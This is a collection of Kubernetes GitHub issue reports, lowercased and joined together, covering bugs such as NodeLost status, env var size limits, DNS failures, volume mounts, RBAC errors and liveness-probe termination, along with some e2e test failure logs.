\r    \r i want get the status of pod is nodelost\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r create a cluster->create deployment with many replicas->poweroff all node.\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux master 3.10.0-862.11.6.el7.x86_64  1 smp tue aug 14 21:49:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r    \r kubeadm, kubectl, kubelet \r    \r - others:\r

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  config maps, environmental variable size length, environmental variables, etcd key value limits  ---  bug report    kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.1\ , gitcommit:\ 50809107cd47a1f62da362bccefdd9e6f7076145\ , gittreestate:\ clean\ }    environment  :  -   cloud provider or hardware configuration  :    processer: 2.5 ghz intel core i7   memory: 16 gb 1600 mhz ddr3 -   os    e.g. from /etc/os-release :   os x el capitan version 10.11.5  15f34  -   kernel    e.g.  uname -a  :   darwin cotnpl-gf7g8wp 15.5.0 darwin kernel version 15.5.0: tue apr 19 18:36:36 pdt 2016; root:xnu-3248.50.21~8/release_x86_64 x86_64s -   install tools  : -   others  :    what happened  : injected a large  130+ kb  environmental variable into a replication controller that was propagated into pods. pod crashed with error and exit code 1, backoff initiated with periodic  20s  attempts to restart pods, which could not be restarted. this was clearly due to large environmental variables as several sizes were attempted, with vars of size ~130kb+ broke pods, with smaller sizes executing as expected     what you expected to happen  : pod running as usual with the environmental value in place, with sizes of up to 1 mb  etcd value limit .     how to reproduce it    as minimally and precisely as possible : inject large environmental variables into kubernetes pods or replication controllers.     anything else do we need to know  :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce/23417/  failed:  k8s.io  services should prevent nodeport collisions {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:882 sep 14 18:41:48.943: created service with conflicting nodeport: &typemeta{kind:,apiversion:,} /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:870      previous issues for this test:  31575

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i drained a node and deleted it, both using  kubectl . the pods started from  --pod-manifest-path  on this node are never removed from the list of running pod. \r \r the  kube-controller-manager  logs show:\r    \r gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-host-192-168-0-11\r gc_controller.go:161  forced deletion of orphaned pod kube-proxy-host-192-168-0-11 succeeded\r ...\r  repeat every 20s indefinitely \r    \r \r  ~$ kubectl get pod -o wide --all-namespaces   notice pod  kube-proxy-host-192-168-0-11  \r    \r namespace     name                                        ready     status    restarts   age       ip             node\r kube-system   kube-addon-manager-host-192-168-0-10        1/1       running   0          1h        192.168.0.10   host-192-168-0-10\r kube-system   kube-apiserver-host-192-168-0-10            1/1       running   0          1h        192.168.0.10   host-192-168-0-10\r kube-system   kube-controller-manager-host-192-168-0-10   1/1       running   0          1h        192.168.0.10   host-192-168-0-10\r kube-system   kube-dns-798685517-qbkkc                    3/3       running   0          11m       172.17.17.3    host-192-168-0-12\r kube-system   kube-proxy-host-192-168-0-10                1/1       running   0          1h        192.168.0.10   host-192-168-0-10\r kube-system   kube-proxy-host-192-168-0-11                1/1       running   0          18s       192.168.0.11   host-192-168-0-11\r kube-system   kube-proxy-host-192-168-0-12                1/1       running   1          1h        192.168.0.12   host-192-168-0-12\r kube-system   kube-scheduler-host-192-168-0-10            1/1       running   0          1h        192.168.0.10   host-192-168-0-10\r    \r \r   what you expected to happen  :\r \r the local pods are deleted together with the node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubectl drain <node> \r  kubectl delete <node> \r \r   environment  :\r \r - kubernetes version: 1.6.6\r - cloud provider or hardware configuration: openstack\r - os: container linux by coreos 1409.2.0\r - kernel: 4.11.6-coreos \r - install tools: custom\r - others:\r \r related:  38187\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r i'm trying to use  partialobjectmetadatalist , but fallback to json if the server doesn't support  partialobjectmetadatalist .\r \r requests with the following accept headers fail against 1.6, which doesn't support  partialobjectmetadatalist . they should fall back to json.\r \r    \r accept: application/json;as=partialobjectmetadatalist;v=v1alpha1;g=meta.k8s.io, application/json\r    \r \r    \r {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ only the following media types are accepted: application/json, application/yaml, application/vnd.kubernetes.protobuf\ ,\r   \ reason\ : \ notacceptable\ ,\r   \ code\ : 406\r }\r    \r \r requests with the following accept header in 1.7 return json, but they should return the more specific type per rfc 7231.\r \r    \r accept: application/json, application/json;as=partialobjectmetadatalist;v=v1alpha1;g=meta.k8s.io\r    \r \r \r https://tools.ietf.org/html/rfc7231 section-5.3.2\r \r    \r    media ranges can be overridden by more specific media ranges or\r    specific media types.  if more than one media range applies to a\r    given type, the most specific reference has precedence.  for example,\r \r      accept: text/ , text/plain, text/plain;format=flowed,  / \r \r    have the following precedence:\r \r    1.  text/plain;format=flowed\r \r    2.  text/plain\r \r    3.  text/ \r \r    4.   / \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the following command returns an error rather than json:\r \r    \r $ curl -k -h 'accept: application/json;as=bogus;v=v1alpha1;g=meta.k8s.io, application/json' https://127.0.0.1:8443/api/v1/namespaces/node/pods\r {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ only the following media types are accepted: application/json, application/yaml, application/vnd.kubernetes.protobuf\ ,\r   \ reason\ : \ notacceptable\ ,\r   \ code\ : 406\r }\r    \r \r the following command returns the full json when it should return only object metadata:\r \r    \r $ curl -k -h 'accept: application/json, application/json;as=partialobjectmetadatalist;v=v1alpha1;g=meta.k8s.io' https://127.0.0.1:8443/api/v1/namespaces/node/pods\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes v1.7.0+695f48a16f\r \r @liggitt

 \r i would like to be able to override the timeout on a  getlogs  call in the go client typed api.\r \r the go client typed pods api has a method getlogs:\r \r    \r func  c  pods  getlogs name string, opts  v1.podlogoptions   restclient.request\r    \r \r this request embeds the http client setting obtained from the config, e.g.:\r \r    \r         config := ....\r         config.timeout = 1   time.minute\r \tclientset, err := kubernetes.newforconfig config \r \tif err != nil {\r \t\treturn nil, errors.trace err \r \t}\r         ...\r         req := clientset.pods namespace .getlogs podname, &v1.podlogoptions{follow: follow} \r \r         req.context ctx  // i can add a context here, further reducing the timeout, but i cannot relax it\r         r, _ := req.stream   \r         // now this call inherits the default timeout, but that value might make not make sense in a streaming call\r    \r \r the only option i have is to clone the config, create two clientsets.\r \r note: the request has a  timeout  field but it only sets the  timeout=...  query parameter.\r \r i would like to be able to override the effect that the  timeout  config setting has on methods such as request.stream.\r \r  i'm only stating the desired end goal; we can discuss about how to achieve that

similar to https://github.com/kubernetes/kubernetes/issues/57209\r \r    \r 1207 17:55:55.339885   50630 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r : /data/go/src/runtime/asm_amd64.s:509\r : /data/go/src/runtime/panic.go:491\r : /data/go/src/runtime/panic.go:63\r : /data/go/src/runtime/signal_unix.go:367\r : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/daemon/daemon_controller.go:162\r : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/controller.go:195\r : <autogenerated>:1\r : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/shared_informer.go:545\r : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/shared_informer.go:381\r : /home/shared/go_projects/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r : /data/go/src/runtime/asm_amd64.s:2337\r    \r

failing jobs\r    gci-gke  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke \r    gci-gke-slow  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-slow \r    gci-gke-reboot  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-reboot \r    gke-gci-master-gci-1.10-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-1.10-downgrade-cluster-parallel \r    gke-gci-1.10-gci-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-new \r    gke-1.11  https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gke-1.11 \r    gke-slow-1.11  https://k8s-testgrid.appspot.com/sig-release-1.11-blocking gke-slow-1.11 \r \r    error logs\r    master blocking job   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/27368 \r    upgrade test failure  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel/3171 \r    1.11 iob  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-default/3207 \r \r  / / /milestone v1.11\r /assign @saad-ali \r cc @jberkus @tpepper\r \r all gke jobs are failing in various release dashboards. code freeze for 1.11 is a couple of hours away.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i installed kubernetes on a proxmox cluster with 4 ubuntu 16.04 vms. the install went fine, using calico for the networking, added rook for dynamic storage, no errors. tried to install jenkins-x, and during the monocular install step, it kept failing on the step finding jenkins-x-mongodb service. mongo was up, but could only be addressed by ip, all dns lookups fail on all hosts, including looking for kubernetes, cluster.local, anything k8s related. external lookups  google.com  resolve fine.\r \r   what you expected to happen  :\r services to be able to found by name\r \r   how to reproduce it  as minimally and precisely as possible   :\r install k8s with calico and add a service and try to address it by its name\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r running on ubuntu 16.04 vms running on proxmox 5. calico for the soft networking. rook for ceph deploy\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r    \r linux k8s-alpha 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r  sudo kubeadm init --kubernetes-version=v1.11.0 --pod-network-cidr 172.16.0.0/16 --service-cidr 10.96.0.0/12 --service-dns-domain \ k8s\  --apiserver-advertise-address $ ifconfig ens18 | grep 'inet addr'| cut -d':' -f2 | awk '{print $1}'  \r \r - others:\r

  \r   what happened  :\r kubernetes failing to mount volumes\r    \r events:\r   type     reason                  age   from                                                 message\r   ----     ------                  ----  ----                                                 -------\r   normal   scheduled               3m    default-scheduler                                    successfully assigned default/zookeeper-0 to ip-10-128-36-71.us-east-2.compute.internal\r   normal   successfulattachvolume  3m    attachdetach-controller                              attachvolume.attach succeeded for volume \ pvc-d90ec1ac-9fdd-11e8-9588-02b31576b438\ \r   warning  failedmount             1m    kubelet, ip-10-128-36-71.us-east-2.compute.internal  unable to mount volumes for pod \ zookeeper-0_default fd14c086-a105-11e8-b59a-02c1a2b7dfa6 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ zookeeper-0\ . list of unmounted volumes= data . list of unattached volumes= data default-token-cv4d4 \r    \r \r   what you expected to happen  :\r mounting to succeed.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r start a stateful set on an aws node c5d. also using the gp2 ebs provisoner. \r \r   anything else we need to know?  :\r this may be related to the ebs volumes being exposed as an nvme block device.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-18t11:37:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r  aws \r \r - os  e.g. from /etc/os-release :\r  debian gnu/linux 8  jessie  \r \r - kernel  e.g.  uname -a  :\r  linux ip-10-128-36-71 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 gnu/linux \r \r - install tools:\r  kops version 1.10.0  git-8b52ea6d1  \r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r from https://github.com/kubernetes/kubernetes/pull/70862 discussion_r243667417, i think it's not a clean abstraction to have to reset testdriver state at the beginning of createdriver.  since we are creating a driver for every test case, we should create a new testdriver object with every driver instance.\r \r @kubernetes/sig-storage-misc \r 

following along with this example:  https://github.com/kubernetes/kubernetes/blob/release-1.0/docs/getting-started-guides/logging.md  everything works as expected:      0: tue oct 27 23:50:22 utc 2015 1: tue oct 27 23:50:23 utc 2015 2: tue oct 27 23:50:24 utc 2015 3: tue oct 27 23:50:25 utc 2015 4: tue oct 27 23:50:26 utc 2015 5: tue oct 27 23:50:27 utc 2015 6: tue oct 27 23:50:28 utc 2015 7: tue oct 27 23:50:29 utc 2015      until viewing the logs in cloud logging. i appreciate that the ordering of json properties is not significant but it's curious why the ordering of the properties would vary  seemingly randomly  between entries. in log entry \ 0\ , the 'log' property precedes the 'stream' property while in entry \ 1\ , stream precedes log. it's minor but curious.  ! image  https://cloud.githubusercontent.com/assets/1022400/10776177/5537198e-7ccc-11e5-8560-5b27ac5273e0.png   my experience seemingly contradicts what i would expect to see which is what's shown in the cloud logging screenshots included in the logging document cited above.

along the lines of: - ensure the pods have a non-zero terminationgraceperiodseconds set - configure a readinessprobe on the main serving container of the pods - handle sigterm in the application: fail the readinessprobe but continue to handle normal requests and do not exit - set maxunavailable and/or maxsurge large enough to ensure enough serving instances in the deployment api spec

k8s version:      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.2\ , gitcommit:\ 9bafa3400a77c14ee50782bb05f9efc5c91b3185\ , gittreestate:\ clean\ , builddate:\ 2016-07-17t18:30:39z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.2\ , gitcommit:\ 9bafa3400a77c14ee50782bb05f9efc5c91b3185\ , gittreestate:\ clean\ , builddate:\ 2016-07-17t18:23:58z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }      daemon set: https://github.com/kubernetes/kubernetes/tree/release-1.3/examples/newrelic  the daemon set deploys correctly and is running on all of the nodes including the master.  however logs can be retrieved only from the nodes.  asking for the logs from the pod on the master fails:      $ kubectl --namespace=kube-system logs -f newrelic-agent-7l72w                            error from server: the server could not find the requested resource   pods/log newrelic-agent-7l72w       though the logs do exist in docker.  logging onto the master and running  docker logs ...  manually shows the expected logs.  is this a general limitation of scheduling work on the master?  ex:      $ kubectl --namespace=kube-system logs kube-scheduler-ip-172-20-40-126.us-west-2.compute.internal error from server: the server could not find the requested resource   pods/log kube-scheduler-ip-172-20-40-126.us-west-2.compute.internal       @justinsb

derived from the discussion  here  https://github.com/kubernetes/kubernetes/issues/30110 issuecomment-237864919 .  28480 implements a client that only decodes the metadata part of an object. it's useful for garbage collector, or any other components that only care about the object's metadata. however,  28480 only works with json, not with protobuf.  to support both content types, and to make the client simpler, it's desirable to let api server support list/get/watch of the objectmeta for a resource, and convert it to a specific version of objectmeta that the client requests for.  @smarterclayton @lavalamp

when running kubernetes cluster, we got some requirements from users, 1. the pod need dedicated physical disk to guarantee stable disk i/o latency and throughput. when pod is deleted, the data on disk is kept, and the same disk can be claimed when a new pod starts. 2. the emptydir and hostpath volume doesn't have disk size limitation, pod can write any size of data into these kinds of volume, but we should not allow this happen.

in prep to maybe move kube-dns to its own repo, we should adopt the new client lib.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/847/  failed:  k8s.io  docker containers should use the image defaults if command and args are blank  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/docker_containers.go:34 expected error:     < errors.errorstring | 0xc820cf8800>: {         s: \ expected container test-container success: gave up waiting for pod 'client-containers-c401436f-8f5a-11e6-86aa-0242ac110007' to be 'success or failure' after 5m0s\ ,     }     expected container test-container success: gave up waiting for pod 'client-containers-c401436f-8f5a-11e6-86aa-0242ac110007' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2283

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/1618/  failed:  k8s.io  hostpath should support subpath  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 oct 26 07:00:11.473: couldn't delete ns: \ e2e-tests-hostpath-od5r7\ : the server cannot complete the requested operation at this time, try again later  get daemonsets.extensions   &errors.statuserror{errstatus:unversioned.status{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, listmeta:unversioned.listmeta{selflink:\ \ , resourceversion:\ \ }, status:\ failure\ , message:\ the server cannot complete the requested operation at this time, try again later  get daemonsets.extensions \ , reason:\ servertimeout\ , details:  unversioned.statusdetails  0xc82027ba90 , code:504}}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:338

in  38626 we enabled rbac authorization for some kubernetes components.\r we should enable it also in kubemark.\r \r @kubernetes/sig-scalability-misc @gmarek

forked from  39667 \r \r in some settings, kubelet gets the pid of docker and make sure it's moved to the right cgroup. from docker 1.12+, the process name changed from  docker  to  dockerd . we should be able to handle both names since kubernetes supports docker 1.10-1.12.\r \r /cc @kubernetes/sig-node-bugs

kubernetes version    use  kubectl version  : 1.6.0, 1.6.1, 1.6.4\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : cos\r -   kernel    e.g.  uname -a  : 4.4.21+, 4.4.35+ \r -   install tools  :\r -   others  :  --no-enable-legacy-authorization \r \r \r   what happened  :\r \r rbac errors upon node pool creation/deletion for services governed by rbac  heapster, kube-dns etc \r \r e.g. \r \r  e0613 17:35:34.087624 1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: user \ system:serviceaccount:kube-system:kube-dns\  cannot list endpoints at the cluster scope.: \ unknown user \\\ system:serviceaccount:kube-system:kube-dns\\\ \   get endpoints  \r \r \r   what you expected to happen  :\r \r to have no rbac errors :joy:\r \r   how to reproduce it    as minimally and precisely as possible :\r \r  gcloud container node-pools create <nodepool> \r  gcloud container node-pools delete <nodepool>  \r \r   anything else we need to know  :\r \r this has happened to us on two different clusters, one running mixed node pools, and one on 1.6.4.\r \r @cjcullen mentioned something about add-on manager's reconciliation model\r @liggitt mentioned the master restarting while rbac caches are filling

! apiserver  https://user-images.githubusercontent.com/4333971/27150367-3ec43686-5147-11e7-84e7-c279de60f089.jpg \r \r this has been plotted using apiserver logs from our 100-node gce test   run 2701  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scalability/2701   and 100-node kubemark test   run 3203  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-100-gce/3203  . the first peak is from density test and the second from load test. both of them had density running first and the graphs are almost aligned in terms of timing of the tests.\r \r need to understand why we don't see any peaks in kubemark. i'll look deeper into it later this week.\r \r cc @kubernetes/sig-scalability-misc @gmarek @wojtek-t \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r 1. we had an etcd leader election because the etcd leader was killed\r 2. put requests to the apiserver's  \ /apis/batch/v1/namespaces/<namespace>/jobs/<jobname>/status\   endpoints started timing out  http response code: 504 . requests to all other endpoints succeeded. \r     specifically: puts for job status and cronjob status failed  504 , but puts for pod status succeeded. \r     gets of batch endpoints also succeeded\r 3. we restarted the apiserver and that fixed the problem\r \r   what you expected to happen  :\r \r i'd expect either all puts to fail or all puts to succeed  inside the same apiserver instance at the same time . i'm confused about how some resource puts would succeed but other resource puts would time out.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i realize this issue is probably hard to reproduce but would love any thoughts about how this could even be possible. my previous understanding of kubernetes was that the apiserver connects to etcd, and the connection to etcd is either \ working\  or \ not working\  -- it doesn't depend on what kind of resource you're using.\r \r i do not have steps to reproduce this -- i tried killing the etcd leader again and this time it went smoothly. so it seems that the issue doesn't always happen.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration: aws\r - os: ubuntu 16.04\r - kernel: 4.4\r - install tools: custom\r

is this a bug report or feature request?  :\r   @kubernetes/sig-network-test-failures \r \r   what happened  :\r from:\r - http://k8s-testgrid.appspot.com/sig-network-gce gci-gce-slow&width=5\r - https://storage.googleapis.com/k8s-gubernator/triage/index.html?text=to%20have%20no%20load%20balancer\r \r esipp e2e tests failed fairly frequently  edit: on waiting for service updates  in cis since 11/22/2017. checked the commit diff  https://github.com/kubernetes/kubernetes/compare/490403764...2f6e7bfc0  and seems like https://github.com/kubernetes/kubernetes/pull/55336 may be the cause.\r \r one guess is that after  55336 node sync loop will go in the same work queue as service updates, but given the default concurrency is 1, this might slow down the already slow-moving service update pipeline.\r \r will spend more time in logs to see if there is any other cause. example failure:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/12399\r \r   what you expected to happen  :\r esipp tests should not timeout waiting for lb creation/deletion.\r \r   anything else we need to know?  :\r - kubernetes version  use  kubectl version  : head  v.1.9+ \r \r cc @jhorwit2 @nicksardo @shyamjvs

\r kubernetes 1.7.6\r apiserver run parmeter container --tls-ca-file,but i find it's not use in code ?\r why ???

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r currently, terminationgraceperiodseconds is used for both normal termination and when a liveness probe fails. i have a service that serves long-running connections, and which uses a long termination period to allow those connections to drain during normal termination of services. however, this causes problems when the service is failing and needs to be restarted because the same grace period is being applied to shutdowns that occur as the result of a failed liveness probe.\r \r   what you expected to happen  :\r \r liveness probe failures should immediately terminate the pod, or have a different setting to control the timeout.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create a deployment with a container that has a liveness probe\r - don't respond to sigterm or the liveterm in the main container process\r - add a long terminationgraceperiodseconds\r - note that the liveness probe fails immediately but the pod hangs around for terminationgraceperiodseconds\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7-gke.0\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r the change in  68754 added a new field   enableservicelinks   to the pod spec that is set to true by default. this is causing problems for daemonsets in some situations. \r \r daemonsets are using controllerrevisions to keep track of previous configurations and each revision will contain among other things the pod spec for the daemonset. if a daemonset is created with the enableservicelinks property is set to true, the controllerrevision will also contain this field. if the cluster is rolled back to a previous version of kubernetes, the deamonset struct does not have this field and so the controllerrevision and the daemonset will no longer match. this leads to a new controllerrevision being created and a rolling update of all pods in the daemonset.\r \r would it be a better solution to rename the field to  disableservicelinks  and enable service links whenever the field is not set? this would fix the problem with the daemonsets unless the field is explicitly set before the rollback.\r \r this is causing the master upgrade tests to fail as reported in  69356\r \r  /cc @kow3ns\r /cc @dchen1107\r /cc @thockin\r

i had a pod that was being restarted due to failed liveness probe.  kubectl describe  orders the events by last seen so the  killing  event happens before the  liveness probe failed  event if the liveness probe fails multiple times. here's a log:      events:   firstseen                             lastseen                        count   from                    subobjectpath                           reason          message   <snip>   mon, 13 jul 2015 09:18:00 +0000       mon, 13 jul 2015 09:18:00 +0000 1       {kubelet 172.28.128.4}  spec.containers{elasticsearch}          killing         killing c34adacdae3d37f51e92958e7d212a8abb977bdb471bf13c4e481e485f268249 <snip>   mon, 13 jul 2015 09:18:14 +0000       mon, 13 jul 2015 09:18:14 +0000 1       {kubelet 172.28.128.4}  spec.containers{elasticsearch}          killing         killing ce37aaf3e5103b4f36ed6fede4ee46ec54eff4a3a6b028d5850bea866de79f2f <snip>   mon, 13 jul 2015 09:18:19 +0000       mon, 13 jul 2015 09:18:19 +0000 1       {kubelet 172.28.128.4}  spec.containers{elasticsearch}          killing         killing 0922151a1641b45c8bc549b066a36df63932b6731e30ccb7b873099b09207547   mon, 13 jul 2015 09:17:59 +0000       mon, 13 jul 2015 09:18:24 +0000 4       {kubelet 172.28.128.4}  spec.containers{elasticsearch}          unhealthy       liveness probe failed: dial tcp 172.17.0.3:9300: connection refused      notice that the last log, liveness probe failed, first seen before the first kill, hence it was the original trigger, but appears in the describe logs after the 3rd kill - makes it very hard to diagnose.

